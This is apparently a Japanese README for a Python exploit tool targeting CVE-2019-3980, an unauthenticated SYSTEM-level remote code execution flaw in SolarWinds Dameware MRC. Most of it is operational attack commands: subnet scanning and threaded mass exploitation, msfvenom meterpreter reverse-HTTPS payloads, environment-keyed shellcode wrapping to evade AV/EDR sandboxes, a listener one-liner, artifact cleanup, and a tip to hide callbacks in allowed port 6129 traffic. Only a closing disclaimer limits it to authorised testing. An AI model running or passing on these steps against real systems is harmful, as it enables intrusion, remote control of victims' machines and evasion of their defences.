
CVE-2019-3980 向け Python 3 エクスプロイト。SolarWinds Dameware MRC のスマートカード認証バイパスを利用した SYSTEM 権限での未認証リモートコード実行(RCE)。

SolarWinds Dameware MRCにおけるスマートカード認証バイパスによる認証不要のRCE
CVE-2019-3980 | CVSS 9.8 Critical | TCP/6129
オリジナル研究およびPOC: Tenable, Inc. (TRA-2019-43)
Python 3ツール: David Boyd (@Fir3d0g)
Dameware MRCは、TCP/6129でリモートコントロールサービス(DWRCS.exe)を公開しています。スマートカード認証ハンドシェイク中に、サーバーは攻撃者が制御するファイルをスマートカードドライバインストーラ(dwDrvInst.exe)として受け入れ、認証を必要とせずにSYSTEMとして実行します。
DameFlareは、完全なプロトコルハンドシェイク(バージョン交渉 → AES鍵導出 → Diffie-Hellman鍵交換 → RSA署名 → ドライバアップロード)を実装し、任意のペイロードを配信して認証不要のリモートコード実行を実現します。
| 製品 | 脆弱なバージョン | 修正済み |
|---|---|---|
| Dameware MRC 12.0.x | すべてのビルド | Hotfix 1 |
| Dameware MRC 12.1.x | すべてのビルド | Hotfix 3 |
git clone https://github.com/boydhacks/dameflare
cd dameflare
pip3 install -r requirements.txt
python3 dameflare.py -h
python3 dameflare.py -t 192.168.1.50 -e payload.exe
python3 dameflare.py -t 192.168.1.50 -e payload.exe -v
python3 dameflare.py -t 10.0.0.100 -e payload.exe -p 6130 -T 15
python3 dameflare.py -f vuln_hosts.txt -e payload.exe
python3 dameflare.py -f vuln_hosts.txt -e payload.exe --threads 5
python3 dameflare.py --scan -t 192.168.1.0/24
python3 dameflare.py --scan -t 192.168.1.0/24 -o vuln_hosts.txt --scan-threads 50
python3 dameflare.py --scan -f port6129.txt -o vuln_hosts.txt
python3 dameflare.py --scan -t 192.168.1.0/24 -o vuln_hosts.txt
python3 dameflare.py -f vuln_hosts.txt -e payload.exe --threads 5
エクスプロイト後にターゲットからdwDrvInst.exeのアーティファクトを削除します:
python3 dameflare.py -t 192.168.1.50 --cleanup
python3 dameflare.py -f vuln_hosts.txt --cleanup
msfvenomがPATHに必要です。短い遅延の後、dwDrvInst.exeとそれ自体を削除する自己削除型EXEをアップロードします。
または、資格情報がある場合は、次のようなNXCを使用できます:
nxc smb <target> -u <user> -p <pass> -x "del /f /q C:\Windows\Temp\dwDrvInst.exe"
msfvenom -p windows/x64/meterpreter_reverse_https LHOST=<ip> LPORT=443 EXITFUNC=thread -f raw -o payload.bin
msfvenom -p windows/meterpreter_reverse_https LHOST=<ip> LPORT=443 EXITFUNC=thread -f exe -o payload_x86.exe
msfvenom -p windows/x64/meterpreter_reverse_https LHOST=<ip> LPORT=443 EXITFUNC=thread -f exe -o payload_x64.exe
Rawシェルコードを環境キーイングでラップして、AV/EDRサンドボックス分析を回避します。ペイロードは、キーが一致するマシンでのみ復号および実行されます。Kevin Clark(@GuhnooPlusLinux)の素晴らしい仕事に大感謝します!
# ドメインとホスト名でキー設定(FQDNではなく短い名前を使用)
python3 ek47.py srdi-shellcode -p payload.bin -d <SHORT_DOMAIN> -c <HOSTNAME> -o payload_wrapped.exe
# ドメインのみでキー設定
python3 ek47.py srdi-shellcode -p payload.bin -d <SHORT_DOMAIN> -o payload_wrapped.exe
# 静的キーのみ(テスト用)
python3 ek47.py srdi-shellcode -p payload.bin -s 5 -o payload_wrapped.exe
# srdi-shellcodeが検出された場合の代替インジェクション方法
python3 ek47.py dinvoke-shellcode -p payload.bin -d <SHORT_DOMAIN> -c <HOSTNAME> -o payload_wrapped.exe
python3 ek47.py noapi-shellcode -p payload.bin -d <SHORT_DOMAIN> -c <HOSTNAME> -o payload_wrapped.exe
msfvenom -p windows/x64/meterpreter_reverse_https LHOST=<ip> LPORT=6129 EXITFUNC=thread -f raw -o payload.bin
python3 ek47.py srdi-shellcode -p payload.bin -d CONTOSO -c WS01 -o payload_wrapped.exe
python3 dameflare.py -t <target> -e payload_wrapped.exe
sudo msfconsole -q -x "use exploit/multi/handler; set PAYLOAD windows/x64/meterpreter_reverse_https; set LHOST <ip>; set LPORT 443; set ExitOnSession false; set StagerVerifySSLCert false; set EXITFUNC thread; exploit -j"
注: ペイロード名はmsfvenomとハンドラ間で正確に一致する必要があります:
- ステージレス:
windows/x64/meterpreter_reverse_https(アンダースコア)- ステージド:
windows/x64/meterpreter/reverse_https(スラッシュ)
ヒント: Dameware環境では、ポート
6129がアウトバウンドで許可されていることが多く、正当なDWRCSトラフィックに紛れます。443がブロックされているか、プロキシで検査されている場合は、LPORT=6129を試してみてください。ターゲットネットワークはそれを許可するように設計されている可能性が高いためです。
このツールは、許可されたペネトレーションテストおよびレッドチーム運用での使用のみを目的としています。作者は、不正または違法な使用について一切の責任を負いません。